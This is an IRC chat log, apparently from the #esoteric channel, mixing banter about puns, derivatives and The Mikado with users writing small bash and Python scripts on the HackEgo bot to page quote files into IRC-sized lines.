23:20:03 <shachaf> you'd have more fun if you didn't read the spoilers
23:20:09 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:20:22 <hppavilion[1]> boily: OH MY GOD READING THAT MADE BE ORGASM
23:20:46 <hppavilion[1]> (In the least disturbing way possible)
23:21:01 <hppavilion[1]> (Which is still probably pretty disturbing)
23:21:09 <hppavilion[1]> shachaf: What spoilers?
23:21:15 <hppavilion[1]> shachaf: I didn't read any spoilers yet
23:21:39 <boily> hppavilion[1]: imagine, Morgan Freeman doing an ASMR video about derivatives.
23:21:49 * hppavilion[1] faints
23:21:59 <quintopia> helloily
23:22:04 * hppavilion[1] later wakes up to find that his brain is completely depleted of endorphines
23:22:06 <boily> quinthellopia.
23:22:40 <hppavilion[1]> shachaf: Seriously, what are the spoilers?
23:22:43 <quintopia> hppavilion[1]: absition
23:23:03 <quintopia> then absity, abseleration, abserk, ...
23:23:53 <hppavilion[1]> Yep, after jerk is jounce AKA snap
23:24:08 <shachaf> No spoilers.
23:24:14 <quintopia> then crackle, pop, lock, drop...
23:24:49 <boily> stop, roll...
23:25:18 <hppavilion[1]> Wikipedia stops at pop
23:26:43 <hppavilion[1]> boily: Let me guess
23:27:01 <hppavilion[1]> boily: There are imaginary derivatives, but they're useless in physics (as far as we know mwahahahahaha)
23:28:25 <boily> everything's useful in physics. physics is engineering, and engineering is the Essence of Life hth
23:29:30 <hppavilion[1]> boily: So are imaginary derivatives a thing?
23:29:41 <hppavilion[1]> I should probably read about fractional derivatives first though
23:30:45 <quintopia> i can't imagine what a 2D space with diff/int on some axis would even be about
23:30:59 <hppavilion[1]> Yep, it's a thing
23:31:23 <hppavilion[1]> quintopia: Oooh, nice
23:31:48 <hppavilion[1]> quintopia: Of course, 2-time is interesting too. 2,2-spacetime, perhaps?
23:32:00 <quintopia> http://jlms.oxfordjournals.org/content/s2-3/2/241.extract "Mellin transforms" I'm already lost
23:49:36 -!- oerjan has joined.
23:51:10 <shachaf> oerjan: There should be join messages in IRC.
23:51:19 <shachaf> So I could figure out what the dual of "Nite" is.
23:51:38 <oerjan> true.
23:52:28 <boily> I don't think join messages are good. I'd have to find the dual of a chicken.
23:52:46 <shachaf> Did you logread my CHICKEN message the other day?
23:52:51 -!- adu has quit (Quit: adu).
23:52:55 <oerjan> æhoily.
23:53:15 <quintopia> boily: do you manually the chickens? or script?
23:53:43 <boily> hellœrjan.
23:53:46 <boily> quintopia: manually.
23:53:51 <boily> it's a craft! an art!
23:54:26 <oerjan> chickencraft, the game where you build things from chickens.
23:55:24 <\oren\> kerbal space poultry
23:55:26 <oerjan> such as the great pyramids of chicken itza.
23:55:58 * boily doublethwacks \oren\ and oerjan. 0.75 and 0.99 shachafs.
23:56:08 <quintopia> i could build an academic cs paper from chickens...
23:57:17 <oerjan> boily: hey i made two!
23:57:34 <oerjan> i guess the first might not really count as a pun.
23:58:01 <quintopia> `? mapole
23:58:03 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg.
23:58:04 <shachaf> boily: 0.99?
23:58:11 -!- Phantom__Hoover has joined.
23:58:25 <boily> oerjan: I didn't count the first.
23:58:28 <shachaf> What precision do you measure with?
23:58:31 <oerjan> it's so hard to get above 1. i think he might consider it like the c of relativity.
23:58:53 <boily> shachaf: about that.
23:58:57 <quintopia> hmm, 6' by 12 kg? that doesn't sound possible to do two doublethwacks in a row without inducing severe exhaustion or broken radii in the thwacker
23:59:02 * boily flails around a gesture of precision
23:59:04 <oerjan> . o O ( so what i need is a _really_ tachy pun )
23:59:18 <shachaf> boily: How many usual suspects would you say there are?
23:59:26 * boily *THWACKS* oerjan.
23:59:31 <boily> that was a good one :D
23:59:33 <quintopia> oerjan: that was only a 0.3 on the tachometer
23:59:40 <oerjan> quintopia: darn
23:59:58 <boily> shachaf: eh?
2016-06-03
00:00:58 * quintopia steals some wibbledy-wobbledy chickens from boily
00:01:14 <shachaf> `? the usual suspects
00:01:16 <HackEgo> There are 3.99 usual suspects in #esoteric, but they're usually rounded up.
00:01:51 <quintopia> shachaf: but who are they? you, oerjan, and ... who?
00:02:07 <shachaf> I never claimed to be among the usual suspects.
00:02:14 <quintopia> but you obviously are
00:02:21 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
00:02:26 <shachaf> That depends on who's doing the suspecting.
00:02:42 * boily reverse-roundhose thwacks shachaf for calibration purposes
00:02:46 <quintopia> anyone would suspect you if the crime is punning
00:03:45 <quintopia> as they say you say "a good pun is its own risk"
00:04:00 <shachaf> What do they say about fun puns?
00:04:10 <shachaf> `? funpuns
00:04:11 <HackEgo> funpuns fceø fbz fryyrev naq pbfcynlf Arcrgn Yrvwba ba jrrxraqf. Ur ungrf oryy crccref jvgu n cnffvba. Gur havg bs sha chaarel vf anzrq nsgre uvz.
00:04:22 <quintopia> `? shachaf
00:04:23 <HackEgo> shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
00:04:26 <oerjan> i think hppavilion[1] is also usually suspicious.
00:04:35 <boily> hppavilion[1] is also frightened.
00:04:36 <hppavilion[1]> oerjan: I DID NOTHING
00:04:51 <quintopia> hppavilion[1]: I KNEW IT
00:05:09 <hppavilion[1]> quintopia: I DID NOTHING WHEN DOING SOMETHING WOULD HAVE SAVED MILLIONS OF LIVES
00:05:10 <quintopia> boily: can you thwack hppavilion[1] for his failure to accomplish anything
00:05:12 <oerjan> hppavilion[1]: i didn't say i had proof
00:05:15 <shachaf> quintopia: Punning is a crime?
00:05:30 <oerjan> i just have 0.9 proof.
00:05:39 <hppavilion[1]> LIKE, LITERALLY ANYTHING
00:05:53 <hppavilion[1]> IT ACTUALLY TOOK MORE EFFORT NOT TO DO SOMETHING THAN TO DO IT, IF I'M BEING HONEST
00:05:55 * boily capitally swings his mapole at hppavilion[1]
00:05:58 <shachaf> My object all sublime, / I shall achieve in time -- / To let the punning fit the crime, / The punning fit the crime
00:06:25 <hppavilion[1]> OF COURSE, IS "DOING NOTHING" JUST DOING THE THING THAT TAKES THE LEAST EFFORT, THEREFOR MEANING THAT THE PREVIOUS STATEMENT IS INVALID? I DON'T KNOW, FRANK. I DON'T KNOW.
00:06:26 <quintopia> shachaf: well, no, but it does sometimes require apology: http://www.theguardian.com/uk-news/2016/apr/08/punning-police-say-sorry-egg-theft-appeal-lancashire
00:06:36 <shachaf> oerjan: Is that 45% ABV?
00:07:13 <quintopia> oerjan: i have 60 proof. want some?
00:07:29 <shachaf> Oh, right, I guess it's 0.45% ABV.
00:07:46 <oerjan> shachaf: is that a quote?
00:07:55 <shachaf> Which?
00:07:59 <oerjan> your poem
00:08:06 <quintopia> pretty close to one
00:08:11 <shachaf> It's from the Mikado.
00:08:14 <shachaf> http://themargins.net/anth/19thc/gilbert.html
00:08:15 <oerjan> ah.
00:08:28 <quintopia> therefore a racist quote
00:09:03 <shachaf> Is it?
00:11:50 <quintopia> shachaf: have you read that: https://www.reddit.com/r/WritingPrompts/comments/2786lw/wp_in_a_world_where_puns_are_illegal_one_man
00:14:36 -!- Moon_ has quit (Ping timeout: 250 seconds).
00:16:48 <oerjan> i've read that the mikado is not racist hth
00:17:00 <shachaf> quintopia: seems unremarkable to me hth
00:17:23 <quintopia> shachaf: as are all old reddit posts, yes
00:17:41 <oerjan> also that a japanese crown prince once was disappointed that it wasn't playing when he visited london, because they were afraid he'd be insulted.
00:18:41 <shachaf> oerjan; i read that it is racist hth
00:18:47 <shachaf> admittedly that was just now in this channel
00:18:56 <oerjan> shocking
00:19:54 <quintopia> as much as i like the mikado, i find it hard not to find it belittling of a culture. dressing white people up like they're japanese is hardly different from blackface is it?
00:23:34 -!- adu has joined.
00:24:00 -!- Koen__ has quit (Quit: Leaving...).
00:26:31 <Phantom__Hoover> quintopia, well, like, there's some very significant context with blackface
00:27:08 <quintopia> you don't think european colonialism is significant context?
00:29:55 <Phantom__Hoover> in... japan?
00:34:12 <quintopia> it's been a while since i've seen the play, but i get the sense the attitude of the british characters toward the "Japanese" characters was much like their attitude toward all those in nations they colonized
00:34:48 <quintopia> even the character names seem somewhat belittling
00:38:38 <Phantom__Hoover> at what point in your history of the world do the british colonise japan
00:39:27 <quintopia> at what point in your history of this channel do i claim the british colonise japan
00:41:14 <oerjan> quintopia: are you confusing with madama butterfly, or something
00:42:42 <quintopia> i don't think i've ever seen madama butterfly.
00:42:50 <quintopia> is it good?
00:42:58 <oerjan> i dunno. i've seen neither :P
00:43:12 <oerjan> but afaiu there _are_ no british characters in the mikado.
00:45:12 <boily> I saw Madama Butterfly at the opera. it's one of the best.
00:45:46 <quintopia> oerjan: clearly it's been too long since i saw it
00:46:07 <boily> https://www.youtube.com/watch?v=0f1k14GQmNE
00:46:35 <quintopia> anyone know how to set the spellcheck for OO writer to british spelling?
00:46:45 <rntz> `~.
00:46:57 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ~.: not found
00:48:25 <oerjan> i guess the names are belittling though. btw i don't think "titipu" is a possible japanese word, is it?
00:49:51 <quintopia> nor is peep-bo?
00:51:44 <Phantom__Hoover> i think the premise is that it's a satire of british culture disguised as a very lazy charicature of japan
00:54:21 <quintopia> it definitely is that
00:55:07 <oerjan> *caricature
01:00:44 -!- fungot has quit (Ping timeout: 250 seconds).
01:02:56 <oerjan> FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
01:03:02 <oerjan> NGOT.
01:04:41 <boily> fizzie: IEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÅAAAAAAAAAAAAAAAH!
01:10:03 * oerjan thinks solving this Towers puzzle was a little too backtracky.
01:18:01 <\oren\> I liked Madame Butterfly when I saw it at the four seasons.
01:18:59 <\oren\> My vocal music teacher got us cheap tickets and insisted that every guy who went wear a tux.
01:19:24 <shachaf> `` type more
01:19:27 <HackEgo> more is /bin/more
01:19:32 <\oren\> I went to like 10 operas in high school.
01:19:36 <fizzie> Our interwebs went down for a moment there.
01:20:06 -!- fungot has joined.
01:21:26 <boily> fungot: o hai.
01:21:27 <fungot> boily: by the way, what's srfi? i seem to have
01:21:32 <oerjan> . o O ( wearing a penguin suit sounds a bit harsh )
01:21:35 <boily> fungot: you seem to do.
01:21:35 <fungot> boily: " he's ordering a weak martini, and the
01:21:46 <boily> fungot: bartender refuses to give it?
01:21:47 <fungot> boily: oh yea that makes much more sense, polish or perl..."
01:22:02 <boily> . o O ( a polish martini? with a gherkin floating in it? )
01:22:44 <oerjan> polish or perish
01:24:06 * boily weakly thwacks oerjan in stereo, with deliberate movements and closeups [intentional] [unintelligible whispering] [scratching] [brush] [2:42]
01:25:31 * oerjan has a feeling he doesn't get some reference
01:26:19 * oerjan wonders if he should follow /r/outoftheloop
01:26:49 <boily> I'm watching ASMR videos. it's relaxing ^^
01:30:47 <shachaf> `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat > /hackenv/tmp/spout; lines="$(wc -l /hackenv/tmp/spout)" | awk '{print $1}'; echo "$lines lines"
01:30:55 <HackEgo> bin/spore
01:30:57 <shachaf> `mkx bin/spam//line="$(cat /hackenv/tmp/spline)"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline
01:31:04 <HackEgo> bin/spam
01:31:22 <shachaf> `` cat quotes | spore
01:31:25 <HackEgo> ​ lines
01:31:31 <shachaf> oops
01:31:43 <shachaf> `spam
01:31:44 <shachaf> `spam
01:31:44 <shachaf> `spam
01:31:46 <HackEgo> ​<Slereah> EgoBot just opened a chat session with me to say "bork bork bork"
01:31:58 <HackEgo> ​<Quas_NaArt> Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order.
01:31:58 <HackEgo> ​<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
01:32:39 <shachaf> oh, uh, right
01:32:56 <shachaf> `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat > /hackenv/tmp/spout; lines="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo "$lines lines"
01:33:00 <HackEgo> bin/spore
01:33:13 <shachaf> `` quote oerjan | spore
01:33:16 <HackEgo> 72 lines
01:33:17 <shachaf> `spam
01:33:18 <shachaf> `spam
01:33:18 <HackEgo> 6) <oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that.
01:33:19 <shachaf> `spam
01:33:19 <HackEgo> 14) <fungot> oerjan: are you a man, if there weren't evil in this kingdom to you! you shall find bekkler! executing program. please let me go... put me out! he's really a tricycle! pass him!
01:33:20 <HackEgo> 17) <oerjan> In an alternate universe, ehird has taste
01:37:19 <boily> `spam
01:37:20 <HackEgo> 18) IN AN ALTERNATE UNIVERSE: <oerjan> In an alternate universe, I would say "In an alternate universe, ehird has taste"
01:37:35 <boily> `spam
01:37:36 <HackEgo> 22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: <oerjan> sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers
01:37:51 <shachaf> `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat "${1-/dev/stdin}" > /hackenv/tmp/spout; lines="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo "$lines lines"
01:37:55 <HackEgo> bin/spore
01:38:03 <boily> oerjan: bonkers?
01:40:39 <shachaf> `cat bin/rainbow
01:40:41 <HackEgo> ​#!/usr/bin/env python \ import random \ import re \ w=raw_input() \ p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) \ random.shuffle(p) \ p=list(re.sub('C+','C',''.join(p))) \ i=(c for c in w) \ print ''.join(i.next() if c=='x' else chr(3)+'%02d' % random.randrange(2,15) for c in ['C']+p)
01:40:46 <shachaf> `spore bin/rainbow
01:40:47 <HackEgo> 9 lines
01:40:48 <shachaf> `spam
01:40:49 <shachaf> `spam
01:41:04 <HackEgo> ​#!/usr/bin/env python
01:41:04 <HackEgo> import random
01:41:11 <shachaf> `spam
01:41:12 <shachaf> `spam
01:41:13 <shachaf> `spam
01:41:13 <shachaf> `spam
01:41:14 <shachaf> `spam
01:41:17 <shachaf> `spam
01:41:19 <shachaf> `spam
01:41:48 <shachaf> Hmm, maybe this thing is a little too spammy.
01:42:15 <HackEgo> No output.
01:42:21 <HackEgo> w=raw_input()
01:42:21 <HackEgo> w=raw_input()
01:42:22 <HackEgo> p=list('x'*len(w)+'C'*int((341-len(w))/3+1))
01:42:22 <HackEgo> w=raw_input()
01:42:24 <HackEgo> random.shuffle(p)
01:42:25 <HackEgo> random.shuffle(p)
01:42:48 <shachaf> i see no problems here
01:43:30 <quintopia> spam prints random lines from a spored thing?
01:43:54 <shachaf> It prints them in order, in principle.
01:44:10 <quintopia> `spore bin/wisdom
01:44:11 <HackEgo> 1 lines
01:44:21 <shachaf> fizzie didn't like \ newlines, I believe.
01:44:28 <quintopia> ah
01:44:32 <shachaf> So this is for fizzie, who probably likes spam much more.
01:44:59 <shachaf> Hmm.
01:46:46 <shachaf> `mkx bin/spam//line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline
01:46:50 <HackEgo> bin/spam
01:46:52 <shachaf> `spam
01:46:52 <HackEgo> 1/1:F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
01:47:07 <shachaf> `` shuf quotes | spore
01:47:09 <HackEgo> 1280 lines
01:47:10 <shachaf> `spam
01:47:11 <HackEgo> 1/1280:* Phantom_Hoover wonders where the size of the compiled Linux kernel comes from. <cpressey> To comply with the GFDL, there's a copy of Wikipedia in there.
01:47:14 <shachaf> `spam
01:47:16 <HackEgo> 2/1280:<Bike> Usually I'd use Rankine, but the fucking weather doesn't support it.
01:47:43 <shachaf> `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat "${1-/dev/stdin}" > /hackenv/tmp/spout; spam
01:47:45 <HackEgo> bin/spore
01:47:50 <shachaf> `` shuf quotes | spore
01:47:52 <HackEgo> 1/1280:<kmc> i had a dream just now where i was in a gymnasium and they had fire alarm pull stations but they also had a similarly shaped "call/cc alarm" which I think you were supposed to pull if you found a way to write call/cc (it was expected that people in this gymnasium would be doing a lot of programming in total dependently-typed languages)
01:47:54 <shachaf> `spam
01:47:55 <HackEgo> 2/1280:<hagb4rd> jesus, yes.. he was human <hagb4rd> and that is fantastic <hagb4rd> more than beeing able to speak with fish.. like seaman does
01:48:06 <shachaf> `spam
01:48:07 <HackEgo> 3/1280:<elliott> oerjan: if the answer is no then it might as well be yes
01:48:51 <shachaf> There you go, one line saved.
01:50:35 <shachaf> Two lines.
01:51:55 <shachaf> `culprits bin/bin/bin
01:51:59 <HackEgo> hppavilion[1]
01:52:03 <shachaf> `` rm -r bin/bin
01:52:06 <HackEgo> No output.
01:52:10 <shachaf> `before
01:52:11 <hppavilion[1]> Wait, what does bin/bin/bin do again?
01:52:13 <HackEgo> bin/bin/bin//echo *sigh*
01:52:25 <hppavilion[1]> Ah, yes
01:52:27 <hppavilion[1]> :(
01:52:30 <hppavilion[1]> Why'd you delete it?
01:52:35 <shachaf> Why was it there?
01:52:46 <oerjan> <boily> oerjan: bonkers? <-- i think google translate probably failed at that point.
01:52:50 <b_jonas> `bin
01:52:50 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bin: cannot execute: Is a directory
01:52:51 <hppavilion[1]> shachaf: To criticize people who make that stupid joke the same way I probably would
01:52:58 <hppavilion[1]> `gin
01:52:59 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: gin: not found
01:53:03 <oerjan> boily: it's all rather broken norwegian.
01:53:09 <b_jonas> shachaf: you didn't delete it
01:53:12 <hppavilion[1]> `min
01:53:13 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: min: not found
01:53:16 <hppavilion[1]> `tin
01:53:17 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tin: not found
01:53:17 <b_jonas> `bin/bin/bin/bin/bin/echo hello, world
01:53:18 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/bin/bin/bin/bin/echo: No such file or directory
01:53:21 <boily> oerjan: ah, like broken French :D
01:53:22 <b_jonas> hmm
01:53:34 <b_jonas> I dunno
01:53:36 <shachaf> this is seriously messing up my terminal tdnh
01:53:39 <oerjan> (although i doubt GT is responsible for the missing accents...)
01:53:53 <hppavilion[1]> shachaf: What is messing up your terminal?
01:53:57 <shachaf> this
01:54:07 <hppavilion[1]> shachaf: "this"?
01:54:11 <shachaf> yes
01:54:14 <oerjan> <shachaf> Hmm, maybe this thing is a little too spammy. <-- you think?
01:54:25 <hppavilion[1]> `spam
01:54:27 <HackEgo> 4/1280:* Phantom_Hoover wonders where the size of the compiled Linux kernel comes from. <cpressey> To comply with the GFDL, there's a copy of Wikipedia in there.
01:54:30 <hppavilion[1]> That's awesome
01:54:34 <shachaf> oerjan: whoa whoa whoa, that was the testing phase
01:54:40 <shachaf> Obviously it's going to be spammy during testing.
01:54:51 <oerjan> <shachaf> i see no problems here <-- heh, genuine race conditions
01:55:05 <shachaf> oerjan: What, like the Mikado?
01:55:28 <shachaf> oerjan: Anyway if people are going to be doing tail -n +n etc. they might as well spore it.
01:55:56 <boily> `spam
01:55:57 <HackEgo> 5/1280:<oerjan> shachaf: wait, _you_ are in northumberland? <shachaf> No. <oerjan> whew <oerjan> we don't have room for more esolangers there. <shachaf> oerjan: Wait, *you* are in Northumberland? <oerjan> no <shachaf> Whew. <shachaf> We don't have room for more esolangers there.
01:56:07 <shachaf> We just need a command to merge a bunch of lines together HackEgo-style and wrap at the IRC line length limit.
01:58:58 <boily> `spam
01:58:59 <HackEgo> 6/1280:<boily> it's raining in newcastle, therefore the elliotts are distinct. <tswett> boily's Newcastle Theorem.
01:59:13 <boily> I like that `spam tool :D
01:59:56 <oerjan> actually bonkers is probably used a bit in norwegian.
02:00:37 <shachaf> oerjan: What was the line length limit again?
02:00:42 <shachaf> I think you computed it once.
02:01:29 <shachaf> `spore bin/paste
02:01:30 <HackEgo> 1/12:#!/bin/bash
02:01:34 <shachaf> `spam
02:01:35 <HackEgo> 2/12:if [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists.
02:01:36 <shachaf> `spam
02:01:37 <HackEgo> 3/12:then
02:01:40 <shachaf> Oh, right.
02:01:46 <boily> `spam
02:01:47 <HackEgo> 4/12: true
02:01:50 <shachaf> `` type -a paste
02:01:51 <HackEgo> paste is /hackenv/bin/paste \ paste is /usr/bin/paste
02:02:03 <shachaf> come on
02:02:05 -!- boily has quit (Quit: RIDGE CHICKEN).
02:02:09 <shachaf> `culprits bin/paste
02:02:25 <HackEgo> tswett tswett oerjan oerjan elliott ais523 ais523 oerjan oerjan oerjan oerjan shachaf shachaf elliott elliott nitia
02:03:48 <oerjan> <shachaf> oerjan: Anyway if people are going to be doing tail -n +n etc. they might as well spore it. <-- ideally you'd merge into 350 byte chunks hth
02:04:05 <shachaf> oerjan: i already said that hth
02:04:59 <shachaf> Is 350 the number?
02:05:36 <oerjan> shachaf: i think i just answered your question before getting to it in backscroll hth
02:05:38 <shachaf> `` cat bin/paste | /usr/bin/paste -s -d␤
02:05:39 <HackEgo> ​#!/bin/bashâif [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists.then¤ trueâelse PASTENUM="$RANDOM"¤â mkdir -p $HACKENV/paste¤ url paste/paste."$PASTENUM"â cat -- "${1--}" > $HACKENV/paste/paste."$PASTENUM"fi
02:05:46 <shachaf> HackEgo: tdnh
02:07:11 <shachaf> `` cat bin/paste | tr '\n' '␤'
02:07:12 <HackEgo> ​#!/bin/bashâif [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists.âthenâ trueâelseâ PASTENUM="$RANDOM"ââ mkdir -p $HACKENV/pasteââ url paste/paste."$PASTENUM"â cat -- "${1--}" > $HACKENV/paste/paste."$PASTENUM"âfiâ
02:07:19 <shachaf> HackEgo: you are not helping
02:08:19 <oerjan> `url bin/paste
02:08:21 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/paste
02:08:24 <HackEgo> [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47107&oldid=46694 * 172.249.47.98 * (-18) Golfier!
02:08:25 <oerjan> hth
02:08:46 <shachaf> oerjan: I'm trying to replace newlines in order to create the 350-byte chunks.
02:08:50 <shachaf> Hope that helps.
02:09:27 <HackEgo> [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47108&oldid=47107 * 172.249.47.98 * (+13) /* brainfuck */
02:09:56 <HackEgo> [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47109&oldid=47108 * 172.249.47.98 * (+11) /* brainfuck */
02:10:10 <shachaf> oerjan: By the way, I wonder whether rnooodl goes wrong with certain 4-byte UTF-8 characters that have the same continuation byte repeated three times.
02:10:16 <HackEgo> [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47110&oldid=47109 * 172.249.47.98 * (-13) /* brainfuck */
02:11:44 <oerjan> shachaf: thausible. restrict it to ascii?
02:12:08 <shachaf> Well, there's no particularly good ASCII character for it.
02:12:22 <oerjan> the rnooodl.
02:12:29 <shachaf> And both of the commands I use replace newlines with a character, rather than a string.
02:12:32 <shachaf> Oh, that.
02:12:42 <oerjan> shachaf: why not just leave it as newline
02:12:48 <shachaf> I don't even know if it's processing characters or bytes.
02:12:52 <shachaf> oerjan: Then how will spam work?
02:12:59 <shachaf> Oh, I see.
02:13:04 <oerjan> oh hm
02:13:07 <shachaf> You're suggesting that spam should never work line-at-a-time.
02:13:35 <oerjan> i wasn't actually getting that point until now, but yeah, it might not.
02:13:37 <shachaf> I was thinking there'd be a separate command that turns a newlined string into a string with 350-byte lines containing newline replacements.
02:14:00 -!- jaboja has quit (Remote host closed the connection).
02:14:33 <shachaf> Well, I guess I'll leave it in your capable hands.
02:14:43 <oerjan> you could just use " \ ", that's what HackEgo does anyway
02:14:54 <oerjan> i have no intention to code this.
02:15:01 <shachaf> OK, but <shachaf> And both of the commands I use replace newlines with a character, rather than a string.
02:15:09 <shachaf> come on, it's just a bit of bash
02:15:12 <shachaf> no real code
02:15:52 <shachaf> it's not like exploiting type system bugs
02:16:27 <oerjan> whatev
02:16:35 <shachaf> `? whatev
02:16:37 <HackEgo> whatev? ¯\(°​_o)/¯
02:17:54 -!- Phantom__Hoover has quit (Read error: Connection reset by peer).
02:20:29 <oerjan> <hppavilion[1]> Um... Christianity? Are you sure you can really math? <-- what's the problem with that?
02:20:46 <shachaf> oh boy
02:21:09 <oerjan> referring to <hppavilion[1]> "The last limit arises from the fact that the crucifixion was considered to have happened on the fourteenth (the eve of the Passover) and the resurrection therefore on the sixteenth."
02:23:07 <oerjan> (i'm just wondering where hppavilion[1] thinks the math error is)
02:23:39 -!- adu has quit (Quit: adu).
02:23:42 <shachaf> oerjan: Is 350 the total length actually printable by HackEgo?
02:24:19 <oerjan> shachaf: if it's ascii. someone said it's actually different if there are other unicode characters.
02:24:25 <oerjan> (but not smaller)
02:24:38 <oerjan> (in bytes)
02:25:03 <shachaf> Right, I mean byets.
02:25:06 <shachaf> bytes
02:25:07 <shachaf> octets
02:25:43 <oerjan> that is, it's 350 chars but if that's larger than 350 bytes it might get cut off at the actual irc limit.
02:26:02 <shachaf> OK, I'll construct this in /msg, I guess.
02:26:09 <oerjan> or well, probably codepoints.
02:26:46 <shachaf> Hmm, or maybe...
02:27:28 <shachaf> `` echo $'#!/usr/bin/env python\nimport sys\nN=330\nname = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin"\nwith open(name, "r") as f:\n data = f.read().replace("\\n", " \\\\ ")\nfor i in range(0, len(data), N):\n print data[i:i+N]\n' > bin/distort; chmod +x bin/distort
02:27:41 <HackEgo> No output.
02:27:54 <shachaf> `` distort quotes | spore
02:27:57 <HackEgo> 1/475:<Slereah> EgoBot just opened a chat session with me to say "bork bork bork" \ <Quas_NaArt> Hmmmmmmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order. \ <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop \ <Warrigal> GKenne
02:28:03 <shachaf> `spam
02:28:04 <HackEgo> 2/475:thR: he should be told that you should always ask someone before killing them. \ <Quas_NaArt> His body should be given to science. <GKennethR> He's alive :P <GreenReaper> Even so. \ <oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that. \ <SimonRC> TODO: sex life \ <Madelon>
02:29:03 <shachaf> `mkx bin/sport//distort "${1:-/dev/stdin}" | spore
02:29:07 <HackEgo> bin/sport
02:29:28 <shachaf> `` shuf quotes | sport
02:29:32 <HackEgo> 1/475:<fizzie> There's that saying that the definition of insanity is doing the same thing over and over again and expecting different results. [...] <Taneb> You've just gave me a different result [...] <fizzie> It's always insane to expect different results, even when it's likely to occur. \ Thanks to nooga for constructive criticism
02:29:35 <shachaf> `spam
02:29:36 <HackEgo> 2/475:, his ideas and being a constant annoyance. --http://theendisnear.no-ip.info/ \ <quintopia> who is guido van rossum <olsner> you could say he's a man who grew a beard but acquired none of the associated good properties \ <Taneb> Just goes to show, the Beatles are more interesting than green vegetables. \ <Madelon> both of you,
02:29:41 -!- adu has joined.
02:29:58 <shachaf> `sport bin/distort
02:29:59 <HackEgo> 1/1:#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in range(0, len(data), N): \ print data[i:i+N] \ \
02:30:25 <shachaf> Oops, double newline.
02:30:34 <shachaf> `` echo -n $'#!/usr/bin/env python\nimport sys\nN=330\nname = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin"\nwith open(name, "r") as f:\n data = f.read().replace("\\n", " \\\\ ")\nfor i in range(0, len(data), N):\n print data[i:i+N]\n' > bin/distort; chmod +x bin/distort
02:30:37 <HackEgo> No output.
02:30:38 <shachaf> `sport bin/distort
02:30:40 <HackEgo> 1/1:#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in range(0, len(data), N): \ print data[i:i+N] \
02:30:49 <oerjan> why do you put 330 instead of 350
02:31:18 <shachaf> I wanted to allow for 12345/20000:
02:31:24 <shachaf> And then I subtracted a few more just in case.
02:31:26 <oerjan> OKAY
02:31:28 <shachaf> Feel free to jam it up.
02:31:42 <shachaf> In fact I'd appreciate it if you did jam it up to the right value.
02:32:00 <shachaf> `sled bin/distort//s range xrange
02:32:04 <HackEgo> bin/distort//#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in xrange(0, len(data), N): \ print data[i:i+N]
02:32:38 <oerjan> incidentally that numbering scheme does not work very well with quotes which have their own numbers...
02:32:54 <shachaf> `` allquotes | sport
